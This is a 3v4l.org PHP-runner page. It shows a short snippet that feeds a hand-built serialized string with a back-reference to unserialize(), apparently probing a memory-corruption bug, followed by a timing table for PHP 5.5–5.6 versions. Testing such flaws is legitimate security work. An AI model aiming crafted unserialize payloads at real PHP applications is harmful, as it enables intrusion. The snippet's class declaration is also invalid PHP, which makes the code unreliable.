3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { $data; } $object = new obj(); $object->data = 1; $inner = serialize($object); $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.6.150.0100.03318.18
5.6.140.0030.08318.18
5.6.130.0070.08018.28
5.6.120.0130.07021.09
5.6.110.0230.07320.95
5.6.100.0100.08320.97
5.6.90.0000.04321.06
5.6.80.0100.05720.48
5.5.300.0000.05317.95
5.5.290.0030.08318.02
5.5.280.0170.08020.88
5.5.270.0030.04320.86
5.5.260.0030.06320.84
5.5.250.0200.08020.79
5.5.240.0170.06720.26

preferences:
140.34 ms | 1394 KiB | 7 Q